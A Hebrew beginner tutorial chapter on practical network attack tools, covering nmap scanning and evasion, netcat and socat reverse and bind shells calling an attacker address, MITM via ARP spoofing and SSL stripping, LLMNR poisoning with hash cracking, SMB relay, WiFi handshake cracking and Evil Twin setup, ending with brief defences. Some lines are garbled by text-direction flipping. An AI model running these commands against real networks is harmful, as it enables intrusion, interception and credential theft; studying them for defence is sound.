

רשתות: כלים מעשיים ומתקפות

מדריך מלא למתחילים — בעברית

פרק 3ב — רשתות: כלים מעשיים ומתקפות

מבוא — מה נלמד כאן

בפרק הקודם (03א) הבנו איך רשתות עובדות — OSI, TCP/IP, ARP, DNS, HTTP וכו'. עכשיו עוברים לצד המעשי: איך בפועל בודקים רשתות, מוצאים חורי אבטחה, ומבינים מה קורה בטראפיק. זה הפרק שבו לוקחים את הידע התיאורטי ומתחילים להשתמש בכלים האמיתיים.

כל הכלים כאן מותקנים על Kali Linux כברירת מחדל. אם אתם על Ubuntu/Debian רגיל — `sudo apt` `<שם-כלי> install`.

חלק 1: nmap — סורק הרשתות הכי חשוב שיש

nmap (Network Mapper) הוא הכלי שכל red teamer חייב לדעת בעל פה. הוא מאפשר לגלות:

- אילו מחשבים קיימים ברשת
- אילו פורטים פתוחים בכל מחשב
- איזה שירות רץ בכל פורט
- מה מערכת ההפעלה של המחשב
- אילו גרסאות תוכנה רצות (ולאילו יש CVE)

עקרון הבסיס — איך nmap עובד

nmap שולח חבילות TCP/UDP/ICMP לכתובת היעד ומנתח את התגובות. על פי התגובה הוא מסיק מה מצב הפורט:

תגובה שקיבל	מה זה אומר
<code>SYN-ACK</code> (TCP)	הפורט פתוח
<code>RST</code> (TCP)	הפורט סגור
אין תגובה	הפורט מסונן (firewall)
ICMP unreachable	הפורט מסונן

סריקה בסיסית — ה-flags החשובים

```
# סריקת פורטים בסיסית – 1000 הפורטים הנפוצים
nmap 192.168.1.1

# סריקת טווח IP שלם
nmap 192.168.1.0/24

# סריקת רשימת מחשבים מקובץ
nmap -iL targets.txt

# סריקת כל 65535 הפורטים (לא רק 1000 ברירת מחדל)
nmap -p- 192.168.1.1

# סריקת פורטים ספציפיים
nmap -p 22,80,443,8080 192.168.1.1

# סריקת טווח פורטים
nmap -p 1-1000 192.168.1.1
```

סוגי סריקות — הטכניקות השונות

SYN Scan (-sS) — הסריקה "החמקנית" הנפוצה ביותר

במקום לסיים את ה-three-way handshake המלא, nmap שולח SYN ומיד מפסיק. זה נקרא גם "half-open scan" כי החיבור לא נפתח מלא. היתרון: מהיר יותר ופחות רישום בלוגים.

```
# דורש הרשאות root
sudo nmap -sS 192.168.1.1
```

TCP Connect Scan (-sT) — סריקה ללא הרשאות root

nmap מסיים את ה-handshake המלא. פחות "חמקן" אבל לא דורש sudo.

```
nmap -sT 192.168.1.1
```

UDP Scan (-sU) — לגלות שירותי UDP

UDP שונה מ-TCP — אין handshake, אין תגובה מובטחת. nmap שולח חבילות UDP ריקות ומחכה לתגובת "port unreachable" ICMP כדי לדעת שהפורט סגור. אם אין תגובה — הפורט אולי פתוח.

```
# TCP-סריקה איטית יותר מ-UDP
sudo nmap -sU 192.168.1.1

# לרוב משלבים TCP ו-UDP
sudo nmap -sS -sU 192.168.1.1
```

פורטי UDP חשובים לסרוק:

פורט	שירות
53	DNS
67/68	DHCP
69	TFTP
161/162	SNMP
500	IKE (VPN)
5353	mDNS

זיהוי שירותים וגרסאות (-sV)

nmap לא מסתפק בלדעת שפורט 80 פתוח — הוא גם ינסה לדעת מה רץ שם ובאיזו גרסה.

```
sudo nmap -sV 192.168.1.1
```

דוגמת פלט:

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp    open  http     Apache httpd 2.4.41
443/tcp   open  ssl/http nginx 1.18.0
```

עכשיו אפשר לגשת ל-ExploitDB ולחפש CVE ל-OpenSSH 8.2p1 או Apache 2.4.41.

זיהוי מערכת הפעלה (O-)

```
sudo nmap -O 192.168.1.1
```

nmap בודק את ה-TCP/IP stack fingerprint של המחשב — ה-TTL, גדלי חלונות TCP, סדר ה-flags — ומשווה לבסיס נתונים של מערכות הפעלה ידועות.

```
OS details: Linux 5.4 - 5.15
```

ה-"אגרסיבי" (A-) — הכל בבת אחת

```
sudo nmap -A 192.168.1.1
```

המקבילה של `-sV -O -sC --traceroute`. האפשרות הכי מלאה, גם הכי רועשת (ה-firewall יבחין בה).

NSE — Nmap Scripting Engine

זה ה-feature הכי חזק של nmap. יש מאות סקריפטים שניתן להריץ כנגד יעדים — מ-enumeration פשוט ועד ניצול פגיעויות.

```
# הרצת סקריפטי ברירת מחדל (sC-)
sudo nmap -sC 192.168.1.1

# הרצת סקריפט ספציפי
sudo nmap --script=http-title 192.168.1.1

# הרצת קטגוריית סקריפטים
sudo nmap --script=vuln 192.168.1.1
sudo nmap --script=discovery 192.168.1.1
sudo nmap --script=auth 192.168.1.1

# חיפוש סקריפטים לפי מילת מפתח
ls /usr/share/nmap/scripts/ | grep smb
ls /usr/share/nmap/scripts/ | grep http
```

סקריפטים שימושיים:

```

SMB vulnerabilities (EternalBlue) בדיקת #
sudo nmap --script=smb-vuln-ms17-010 192.168.1.1

# HTTP enumeration
sudo nmap --script=http-enum 192.168.1.1

# DNS zone transfer
sudo nmap --script=dns-zone-transfer --script-args=dns-zone-transfer.domain=example.com 1

# FTP anonymous login
sudo nmap --script=ftp-anon 192.168.1.21

# SSH brute force (זהירות!)
sudo nmap --script=ssh-brute 192.168.1.1

# SSL/TLS enumeration
sudo nmap --script=ssl-enum-ciphers -p 443 192.168.1.1

# MySQL enumeration
sudo nmap --script=mysql-info 192.168.1.1

```

Timing — מהירות הסריקה (T-)

nmap מציע 6 רמות מהירות:

דגל	שם	שימוש
-T0	Paranoid	כל 5 דקות בין חבילות — לא יורגש כמעט
-T1	Sneaky	איטי מאוד
-T2	Polite	איטי
-T3	Normal	ברירת מחדל
-T4	Aggressive	מהיר — מומלץ ברשתות מהירות
-T5	Insane	מהיר מאוד — עלול להחמיץ תוצאות

```
# לרשתות פנימיות (מהיר)
sudo nmap -T4 192.168.1.0/24

# לאינטרנט (לא להיתפס)
sudo nmap -T2 target.com
```

פלט nmap — שמירת תוצאות

```
# שמירה לקובץ טקסט רגיל
sudo nmap -oN scan.txt 192.168.1.0/24

# שמירה ל-XML (לניתוח אחר כך)
sudo nmap -oX scan.xml 192.168.1.0/24

# שמירה לכל הפורמטים בבת אחת
sudo nmap -oA scan_results 192.168.1.0/24

# יוצר: scan_results.nmap, scan_results.xml, scan_results.gnmap
```

כלי שימושי: `xsltproc` יכול להמיר XML של nmap ל-HTML קריא:

```
xsltproc scan.xml -o scan.html
```

Ping Sweep — לגלות מחשבים חיים

```
# לא סורק פורטים, רק בודק מי חי
sudo nmap -sn 192.168.1.0/24

# לדלג על ping ולסרוק ישירות (כשה-ping חסום)
sudo nmap -Pn 192.168.1.1
```

עקיפת Firewall עם nmap

Fragmentation — פיצול חבילות:

```
# מפצל חבילות TCP לפרגמנטים קטנים
sudo nmap -f 192.168.1.1
sudo nmap -f -f 192.168.1.1 # פרמנטים עוד יותר קטנים
```

Decoy — מסוות המקור:

```
# שולח סריקה כאילו היא מגיעה מ-IPs נוספים (מבלבל את הלוגים)
sudo nmap -D 10.0.0.1,10.0.0.2,ME 192.168.1.1
```

Idle Scan — סריקה אנונימית לחלוטין:

```
# משתמש במחשב "zombie" כמתווך – ה-IP שלכם לא מופיע בלוגים
sudo nmap -sI zombie_ip 192.168.1.1
```

חלק 2: netcat — ה-"סכין שווייצרי" של הרשת

(nc) netcat הוא כלי command-line פשוט שיכול:

- להתחבר לכל פורט TCP/UDP
- להקשיב על פורט ולקבל חיבורים
- להעביר קבצים
- ליצור shells מרוחקים
- לסרוק פורטים

הסינטקס הבסיסי: [\[פורט\]](#) [\[כתובת\]](#) [\[אפשרויות\]](#) nc

התחברות לשרת

התחברות ל-HTTP (כמו curl פשוט)

```
nc google.com 80
```

אחרי ההתחברות, מקישים:

```
GET / HTTP/1.0
```

```
Host: google.com
```

```
[Enter Enter]
```

התחברות ל-SSH לבדוק את הבאנר

```
nc 192.168.1.1 22
```

מקבלים: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5

בדיקת פורט SMTP

```
nc mail.example.com 25
```

Listener — האזנה על פורט

פתיחת listener על פורט 4444

```
nc -lvnp 4444
```

-l : listen mode

-v : verbose (הדפסת מידע)

-n : no DNS lookup

-p : port number

העברת קבצים עם netcat

זה שימושי כשאין SCP/FTP ורוצים להעביר קבצים בין מחשבים.

על המחשב המקבל (פותח listener):

```
nc -lvnp 4444 > received_file.txt
```

על המחשב השולח:

```
nc 192.168.1.100 4444 < file_to_send.txt
```

```
# שולח (מארזים ב-tar ושולחים)  
tar czf - /directory/ | nc 192.168.1.100 4444  
  
# מקבל  
nc -lvp 4444 | tar xzf -
```

Reverse Shell — החלק הכי חשוב

מה זה reverse shell?

כשפורצים למחשב, לרוב אי אפשר ישירות לפתוח shell כי ה-firewall חוסם חיבורים נכנסים. במקום זה, גורמים למחשב הקורבן להתחבר אלינו. זה נקרא reverse shell כי הכיוון הפוך מהצפוי.

```
תקיפה רגילה (נחסמת): Attacker → Target (פורטים חסומים)  
Reverse Shell: Attacker ← Target (יוצא מותר)
```

שלב 1: על המחשב של התוקף — פותחים listener:

```
nc -lvp 4444
```

שלב 2: על המחשב הקורבן — מריצים:

```
# bash reverse shell
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# netcat reverse shell
nc -e /bin/bash 10.10.10.10 4444

# אם nc לא תומך ב-e:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.10.10 4444 >/tmp/f

# Python reverse shell
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.10.10",4444)); p=subprocess.Popen("/bin/bash",stdin=s,stdout=s,stderr=s); p.communicate()'

# Perl reverse shell
perl -e 'use Socket; $i="10.10.10.10"; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect($i,$p); exec "/bin/bash -i";'
```

שלב 3: התוקף מקבל shell:

```
Listening on 0.0.0.0 4444
Connection received on 192.168.1.50
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash-5.0$
```

Upgrade Shell — שדרוג ה-shell

ה-shell reverse שמתקבל לרוב הוא גולמי — אין טאב-קומפלישן, אין חצים, ctrl+c סוגר הכל. כדי לשדרג:

```
# על המחשב הקורבן
python3 -c 'import pty; pty.spawn("/bin/bash")'

# ctrl+z (שולח לרקע)

# על המחשב שלנו
stty raw -echo; fg

# על המחשב הקורבן
export TERM=xterm
stty rows 50 cols 220
```

סריקת פורטים עם netcat

```
# סריקת טווח פורטים (איטי, אבל עובד בלי nmap)
nc -zv 192.168.1.1 1-1000 2>&1 | grep succeeded

# בדיקת פורט בודד
nc -zv 192.168.1.1 80
```

Bind Shell — החלופה ל-shell reverse

כשאפשר להגיע ישירות למחשב (אין NAT בדרך), אפשר לפתוח shell על הקורבן ולהתחבר אליו.

על הקורבן:

```
nc -lvp 4444 -e /bin/bash
```

על התוקף:

```
nc 192.168.1.50 4444
```

```
# SSL listener
ncat --listen --ssl 4444

# SSL connection
ncat --ssl 192.168.1.1 4444

# Broker mode – כמה clients מחברו ב'ן
ncat --listen --broker 4444
```

חלק 3: netcat — socat הגדול

(SOcket CAT) socat חזק יותר מ-netcat — תומך ב-TLS, UDP, Unix sockets, serial ports, ועוד.

```

# Listener בסיסי
socat TCP-LISTEN:4444,fork,reuseaddr -

# התחברות בסיסית
socat - TCP:192.168.1.1:4444

# Reverse shell (עם TTY)
# על המחשב שלנו:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# על הקורבן:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

# Port forwarding
socat TCP-LISTEN:8080,fork TCP:internal-server:80

# SSL reverse shell
# על המחשב שלנו:
socat OPENSSL-LISTEN:4444,cert=cert.pem,key=key.pem,verify=0,fork STDOUT

# על הקורבן:
socat OPENSSL:10.10.10.10:4444,verify=0 EXEC:/bin/bash

```

יצירת תעודת SSL ל־socat:

```
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
```

חלק 4: tcpdump — יירוט טראפיק בשורת פקודה

tcpdump מאפשר לצלם ולנתח טראפיק רשת ישירות משורת הפקודה — בלי ממשק גרפי.

האזנה על ממשק eth0

```
sudo tcpdump -i eth0
```

האזנה על כל הממשקים

```
sudo tcpdump -i any
```

שמירה לקובץ pcap

```
sudo tcpdump -i eth0 -w capture.pcap
```

קריאת קובץ pcap

```
sudo tcpdump -r capture.pcap
```

הצגת מספרים (לא לתרגם IP/פורטים לשמות)

```
sudo tcpdump -n -i eth0
```

הגבלת מספר חבילות

```
sudo tcpdump -i eth0 -c 100
```

פילטרים — הכוח האמיתי של tcpdump

```
# רק טראפיק מ/ל-IP ספציפי
sudo tcpdump -i eth0 host 192.168.1.1

# רק טראפיק HTTP (פורט 80)
sudo tcpdump -i eth0 port 80

# רק TCP
sudo tcpdump -i eth0 tcp

# רק UDP
sudo tcpdump -i eth0 udp

# פורט ספציפי ו-IP ספציפי
sudo tcpdump -i eth0 host 192.168.1.1 and port 443

# כל הטראפיק חוץ מ-SH-SSH
sudo tcpdump -i eth0 not port 22

# בלבד (תחילת חיבורים) SYN packets
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'

# טראפיק HTTP שמכיל מילה
sudo tcpdump -i eth0 -A 'port 80 and tcp[(tcp[12]>>2):4] = 0x47455420'
```

הצגת תוכן החבילות

```
# הצגת תוכן כ-ASCII (קריא לטקסט)
sudo tcpdump -i eth0 -A port 80

# הצגת תוכן כ-hex וגם ASCII
sudo tcpdump -i eth0 -X port 80

# פרטים מלאים
sudo tcpdump -i eth0 -v port 80
sudo tcpdump -i eth0 -vvv port 80 # הכי מפורט
```



```
sudo tcpdump -i eth0 -A port 80 | grep -i "password\|user\|login\|pass"
```

חלק 5: Wireshark — ניתוח טראפיק גרפי

Wireshark הוא ה-GUI של tcpdump. נלמד אותו בצורה מעמיקה יותר.

פתיחת Wireshark

```
# עם הרשאות root (כדי לצלם)
```

```
sudo wireshark
```

```
# או לפתוח קובץ pcap קיים
```

```
wireshark capture.pcap
```

Display Filters — הפילטרים הכי חשובים

בניגוד ל-tcpdump שמפלט לפני הצילום (BPF filters), ב-Wireshark Display Filters מפלטים אחרי — על מה שכבר נלכד.

```
IP לפי #
ip.addr == 192.168.1.1
ip.src == 192.168.1.1
ip.dst == 192.168.1.1

לפי פרוטוקול #
http
https
dns
tcp
udp
arp
ftp
smtp

לפי פורט #
tcp.port == 80
tcp.dstport == 443
udp.port == 53

# TCP flags
tcp.flags.syn == 1
tcp.flags.rst == 1
tcp.flags.fin == 1

# ספציפי HTTP
http.request.method == "GET"
http.request.method == "POST"
http.response.code == 200
http.response.code == 404

# DNS
dns.qry.name contains "google"
dns.flags.response == 1

# שילובים
```

```
http and ip.src == 192.168.1.1  
not arp and not dns
```

Follow TCP Stream

לראות שיחת HTTP/FTP/SMTP שלמה כטקסט אחד:

1. לחיצה ימנית על חבילה

2. "Follow" → "TCP Stream"

מציג את כל השיחה כטקסט — username, password, תוכן הדפים, ועוד.

סטטיסטיקות שימושיות

- **Statistics → Protocol Hierarchy** — רואים כמה מכל פרוטוקול
- **Statistics → Conversations** — כל הזוגות של חיבורים
- **Statistics → Endpoints** — כל ה-IP שתקשרו
- **Statistics → IO Graph** — גרף עומס לאורך זמן

Export Objects — חילוץ קבצים מ-pcap

אפשר לחלץ קבצים (תמונות, EXE, HTML) שהועברו ב-HTTP:

- **File → Export Objects → HTTP**

חלק 6: MITM — Bettercap מודרני

bettercap הוא כלי MITM (Man-In-The-Middle) מודרני שמאחד הרבה יכולות: ARP spoofing, DNS spoofing, SSL stripping, credential sniffer.

התקנה

```
sudo apt install bettercap
```

הרצה בסיסית

```
sudo bettercap -iface eth0
```

נפתח ממשק אינטראקטיבי:

```
# גילוי מחשבים ברשת
net.probe on

# הצגת מחשבים שנמצאו
net.show

# כנגד יעד ספציפי ARP spoofing
set arp.spoof.targets 192.168.1.50
arp.spoof on

# ה-sniffing מתחיל אוטומטית
net.sniff on

# DNS spoofing
set dns.spoof.all true
set dns.spoof.domains facebook.com,google.com
dns.spoof on
```

ARP Poisoning — יד על יד

ARP poisoning הוא המתקפה שבה אנחנו "מרמים" מחשבים ברשת לחשוב שה-MAC שלנו הוא ה-MAC של ה-router (או של מחשב אחר). כך כל הטראפיק שלהם עובר דרכנו.

בלי bettercap, עם arpspoof:

```
# הפעלת IP forwarding (כדי שהטראפיק יעבור)
echo 1 > /proc/sys/net/ipv4/ip_forward

# זה אנחנו router-לומר לקורבן שה – ARP spoofing
sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

# במקביל – לומר ל-router שהקורבן זה אנחנו
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
```

עכשיו כל טראפיק בין 192.168.1.50 ל-192.168.1.1 (ה-router) עובר דרכנו.

SSL Stripping — הורדת HTTPS ל-HTTP

SSL stripping הוא התקפה שמנצלת את העובדה שהדפדפן של הקורבן לא חייב לתקשר ב-HTTPS — אנחנו נהפוך את HTTPS ל-HTTP בדרך.

קורבן —HTTP— → אנחנו —HTTPS— → שרת

הקורבן חושב שהוא מתקשר ב-HTTP (לא מוצפן), אנחנו מתקשרים עם השרת ב-HTTPS.

```
# עם bettercap
hstshijack/hstshijack on

# עם mitmproxy
sudo mitmproxy --mode transparent --ssl-insecure

# עם sslstrip הקלאסי
sudo python3 sslstrip.py -l 8080
# + iptables redirect
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
```

מגנה כנגד SSL Stripping: HSTS (HTTP Strict Transport Security)

אתרים גדולים (google, facebook) מוגנים עם HSTS — הדפדפן זוכר שרק להתחבר ב-HTTPS ולא יקשיב לאף redirect. ב-Kali יש כלים שמנסים לעקוף זאת (sslstrip2, hstshijack).

חלק 7: Proxychains — ניתוב דרך proxy

proxychains מאפשר להפנות חיבורי TCP של כל תוכנה דרך (SOCKS4, SOCKS5, HTTP) proxy. שימושי ל:

- אנונימיות (TOR)
- ניתוב דרך pivot (מחשב ביניים)
- עקיפת firewall

קובץ הגדרות

: /etc/proxychains4.conf

```
# strict_chain – בסדר proxies-עובר דרך כל ה
```

```
strict_chain
```

```
# random_chain – אקראי proxy בוחר
```

```
# random_chain
```

```
# אם proxy לא עונה, עובר הלאה
```

```
# dynamic_chain
```

```
[ProxyList]
```

```
# SOCKS5 – למשל SSH tunnel
```

```
socks5 127.0.0.1 1080
```

```
# SOCKS4
```

```
socks4 127.0.0.1 9050
```

```
# HTTP proxy
```

```
http 127.0.0.1 8080
```

שימוש

```
# הרצת כל פקודה דרך proxychains
```

```
proxychains nmap -sT 192.168.1.1
```

```
proxychains curl https://ifconfig.me
```

```
proxychains firefox
```

```
proxychains ssh user@target
```

```
# עם TOR (TOR חייב לרוץ)
```

```
sudo service tor start
```

```
proxychains curl https://ifconfig.me # IP יחזיר
```

SSH Dynamic Port Forwarding + Proxychains

```
# פתיחת SOCKS proxy על פורט 1080 דרך SSH
ssh -D 1080 -f -C -q -N user@pivot_machine

# עכשיו כל proxychains route דרך pivot_machine
proxychains nmap -sT internal_network_ip
```

זה ה-pivot הקלאסי: יש לנו גישה ל- `pivot_machine`, ו- `pivot_machine` יש לה גישה לרשת פנימית. עם SSH + proxychains אנחנו "מדלגים" דרכה.

חלק 8: tunneling — chisel דרך HTTP

chisel הוא כלי tunneling שמצפין את הטרפיק ב-HTTP/WebSocket. שימושי כשגם SSH חסום אבל HTTP פתוח.

הורדה

```
# הורדת binary מ-GitHub (server-ו client)
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel
```

שימוש בסיסי

על המכונה שלנו (server):

```
chisel server --port 8080 --reverse
```

על הקורבן (client):

```
chisel client http://our_ip:8080 R:1080:socks
```

עכשיו יש לנו SOCKS5 proxy על פורט 1080 שמנתב דרך הקורבן.

```
# Proxychains דרך chisel
proxychains nmap -sT internal_target
```

חלק 9: מתקפות רשת נוספות

LLMNR/NBT-NS Poisoning

Windows fallback של Windows (Link-Local Multicast Name Resolution) LLMNR ו-NBT-NS הם פרוטוקולי ה-fallback של Windows כשה-DNS לא יודע לפתור שם. כשמחשב Windows מחפש שם שלא נמצא ב-DNS, הוא שואל ב-broadcast את כל הרשת "מישהו יודע איפה \\FILESERVER"?".

אנחנו עונים: "אנחנו!"

Windows מנסה לאמת — שולח NetNTLM hash. אנחנו מקבלים את ה-hash ומנסים לפצח אותו.

Responder — הכלי לזה:

```
# Responder מאזין ועונה לשאלות LLMNR/NBT-NS
sudo responder -I eth0 -v

# ב-Kali
sudo responder -I eth0 -rdwv
```

כשמחשב Windows מנסה לגשת ל-\\FILESERVER (שלא קיים):

```
[SMB] NTLMv2-SSP Client: 192.168.1.50
[SMB] NTLMv2-SSP Username: DOMAIN\john
[SMB] NTLMv2-SSP Hash: john::DOMAIN:abc123...:def456...
```

פיצוח ה-hash:


```
# שמירת ה-hash לקובץ
echo "john::DOMAIN:abc123...:def456..." > hash.txt

# פיצוח עם hashcat
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

# פיצוח עם john
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

SMB Relay

במקום לפצח את ה-hash, אפשר להשתמש בו ישירות להזדהות על מחשב אחר — זה נקרא SMB Relay.

```
# עם Impacket
sudo ntlmrelayx.py -tf targets.txt -smb2support
```

בד בבד עם Responder:

```
# ב-Responder.conf – כיבוי SMB ו-HTTP (כדי ש-ntlmrelayx יטפל בהם)
[Responder Core]
SMB = Off
HTTP = Off

sudo responder -I eth0 -rdwv
```

ICMP Tunneling

(ping) ICMP לרוב מותר בכל firewall. אפשר להשתמש בו כ-tunnel להעברת נתונים!

```
# התקנת icmptunnel
git clone https://github.com/DhavalKapil/icmptunnel
cd icmptunnel
make

# על השרת שלנו
sudo ./icmptunnel -s 10.0.1.1

# על הקורבן
sudo ./icmptunnel client_ip
```

חלק 10: סריקת רשת מלאה — Workflow מעשי

כך נראה workflow אמיתי של red teamer שסורק רשת פנימית:

שלב 1: Host Discovery

```
# איזה מחשבים חיים?
sudo nmap -sn 192.168.1.0/24 -oN hosts_up.txt

# חלץ רק כתובות IP
grep "Nmap scan report" hosts_up.txt | awk '{print $5}' > live_hosts.txt
cat live_hosts.txt
```

שלב 2: Port Scanning מהיר

```
# סריקה מהירה של כל ה-1000 hosts – פורטים נפוצים
sudo nmap -T4 -iL live_hosts.txt -oA fast_scan

# סריקת כל הפורטים על hosts מעניינים
sudo nmap -T4 -p- 192.168.1.50 -oA full_scan
```

שלב 3: Service Enumeration

```
# זיהוי שירותים וגרסאות  
sudo nmap -sV -sC -iL live_hosts.txt -oA services
```

שלב 4: Vulnerability Scanning

```
# סקריפטי חלט של nmap  
sudo nmap --script=vuln -iL live_hosts.txt -oA vulns  
  
# או Nessus / OpenVAS לסריקה מעמיקה יותר
```

שלב 5: ניתוח תוצאות

```
# כמה hosts עם פורט 80 פתוח?  
grep "80/tcp open" services.nmap  
  
# כמה hosts עם SSH?  
grep "22/tcp open" services.nmap  
  
# חיפוש גרסאות פגיעות  
grep "Apache 2.2" services.nmap # גרסה ישנה  
grep "OpenSSH 5" services.nmap # גרסה ישנה
```

חלק 11: רשתות אלחוטיות — WiFi Hacking

עקרונות WiFi

רשתות WiFi עובדות על גלי רדיו. כל AP (Access Point — נקודת גישה) שולח beacon frames שמכריזים על שמו (SSID). כשמחשב מתחבר, מתבצעת תהליך ה-4-Way Handshake שמאמת את הסיסמה.

תקני הצפנה:

תקן	מצב אבטחה
WEP	שבור לחלוטין — לא להשתמש
WPA	חלש
WPA2	בטוח אם סיסמה חזקה
WPA3	הכי חדש, עמיד למתקפות offline

Monitor Mode — מצב האזנה

בדרך כלל כרטיס הרשת מקבל רק חבילות מיועדות אליו. ב-Monitor Mode הוא מקבל הכל.

```
# בדיקת שם הממשק האלחוטי
ip a | grep wl
# יוצא: wlan0 או wlp2s0

# הפעלת monitor mode
sudo airmon-ng start wlan0
# יוצר ממשק חדש: wlan0mon

# אם יש תהליכים שמפריעים
sudo airmon-ng check kill

# ביטול monitor mode
sudo airmon-ng stop wlan0mon
```

airodump-ng — סריקת רשתות WiFi

```
# סריקת כל הרשתות הסביבה
sudo airodump-ng wlan0mon

# פלט:
# BSSID          PWR Beacons #Data #/s CH  MB  ENC  ESSID
# AA:BB:CC:DD:EE:FF -60  100    500   10   6   540  WPA2  HomeNetwork
```

הסבר עמודות:

- BSSID: MAC של נקודת הגישה

- **PWR**: עוצמת אות (ככל שמספר גבוה יותר בminus — חלש יותר)
- **Beacons**: כמה פעמים ה-AP הכריז על עצמו
- **Data#**: כמה חבילות נתונים
- **CH**: ערוץ
- **ENC**: סוג הצפנה

```
# מיקוד על רשת ספציפית ושמירת לקובץ
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon
```

WPA2 Handshake Capture

```
# שלב 1: האזנה לרשת הספציפית
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w handshake wlan0mon

# שלב 2: Deauthentication – לנתק לקוח (כדי לתפוס ה-handshake שלהם)
# חלון נפרד:
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# -a : MAC של ה-AP
deauth packets : 10 #

# לאחר שלקוח מתחבר מחדש, נראה:
# WPA handshake: AA:BB:CC:DD:EE:FF
```

aircrack-ng — פיצוח סיסמה

```
# פיצוח ה-handshake עם wordlist
sudo aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt

# פלט אם מצא:
# KEY FOUND! [ SuperSecret123 ]
```

hashcat לפיצוח מהיר

hashcat עם GPU מהיר הרבה יותר מ-aircrack-ng:

```
hashcat # המרת pcap לפורמט  
sudo hcxpcapngtool -o hash.hc22000 handshake-01.cap  
  
hashcat # פיצוח עם (WPA2 = mode 22000)  
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt  
  
hashcat # עם rules (גרסאות מורכבות של סיסמאות)  
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rule
```

Evil Twin — נקודת גישה מזויפת

Evil Twin הוא AP מזויף עם אותו SSID כמו ה-AP האמיתי. המטרה: לקוחות יתחברו לנו, ניתן להם גישה לאינטרנט, ובדרך נראה את הטראפיק שלהם.

```
AP # עם hostapd – יצירת  
cat > /tmp/hostapd.conf << EOF  
interface=wlan0  
driver=nl80211  
ssid=FreeWifi  
hw_mode=g  
channel=6  
EOF  
  
sudo hostapd /tmp/hostapd.conf  
  
# DHCP לנתינת IP ללקוחות  
sudo dnsmasq --interface=wlan0 --dhcp-range=10.0.0.10,10.0.0.100
```

כלי אוטומטי: [airgeddon](#) מאחד את כל השלבים הללו.

חלק 12: כלים נוספים שחשוב להכיר

nmap — masscan מהיר x100

masscan הוא nmap על סטראידיים — יכול לסרוק את כל האינטרנט בפחות מ-6 דקות (עם bandwidth מספיק). מתאים לסריקות גדולות.

```
sudo apt install masscan
```

```
# סריקה מהירה
```

```
sudo masscan 192.168.1.0/24 -p 80,443,22 --rate=10000
```

```
# כל הפורטים על subnet
```

```
sudo masscan 10.0.0.0/8 -p 0-65535 --rate=100000
```

```
# שמירת פלט
```

```
sudo masscan 192.168.1.0/24 -p 80 --rate=1000 -oX masscan.xml
```

enum4linux — enumeration של Windows/SMB

```
sudo apt install enum4linux
```

```
# מלא enumeration
```

```
enum4linux -a 192.168.1.50
```

```
# רק users
```

```
enum4linux -U 192.168.1.50
```

```
# רק shares
```

```
enum4linux -S 192.168.1.50
```

smbclient — גישה ל-SMB shares

```
# רשימת shares
```

```
smbclient -L //192.168.1.50 -N
```

```
# כניסה ל-share
```

```
smbclient //192.168.1.50/shared -N
```

```
# קובץ download
```

```
smb: \> get interesting_file.docx
```

```
sudo apt install nikto
```

```
# סריקה בסיסית
```

```
nikto -h http://192.168.1.50
```

```
# HTTPS
```

```
nikto -h https://192.168.1.50 -ssl
```

directories של gobuster — brute force

```
sudo apt install gobuster
```

```
# חיפוש directories
```

```
gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt
```

```
# חיפוש subdomains
```

```
gobuster dns -d example.com -w /usr/share/wordlists/dnsx/subdomains-top1million.txt
```

```
# חיפוש עם סיומות
```

```
gobuster dir -u http://192.168.1.50 -w common.txt -x php,html,txt
```

חלק 13: הגנה — איך מגנים על הרשת

הבנת מתקפות חשובה גם מנקודת מבט של הגנה. כל מה שלמדנו — יש לו מענה:

מתקפה	הגנה
ARP Spoofing	switches, VLAN segmentation-ב Dynamic ARP Inspection
LLMNR/NBT-NS Poisoning	Group Policy-ב NBT-NS-ו LLMNR כיבוי
SMB Relay	SMB Signing, MFA
WiFi Cracking	סיסמאות ארוכות/אקראיות, WPA3
Deauth attacks	802.11w (Protected Management Frames)
Port Scanning	IDS/IPS, honeypots, firewall
MITM	HTTPS Everywhere, HSTS, certificate pinning

כיבוי LLMNR ב-Windows:

Group Policy Editor → Computer Configuration → Administrative Templates → Network → •
DNS Client → Turn off Multicast Name Resolution → **Enabled**

הפעלת SMB Signing:

```
Set-SmbServerConfiguration -RequireSecuritySignature $True
```

סיכום — מה למדנו

בפרק הזה:

- 1. **nmap** — סריקת פורטים, זיהוי שירותים, NSE scripts, עקיפת firewall
- 2. **netcat** — האזנה, שליחה, העברת קבצים, reverse shells
- 3. **netcat** — **socat** מתקדם עם TLS
- 4. **tcpdump** — יירוט טראפיק בשורת פקודה
- 5. **Wireshark** — ניתוח טראפיק גרפי
- 6. **bettercap/arpspoof** — ARP poisoning ו-MITM
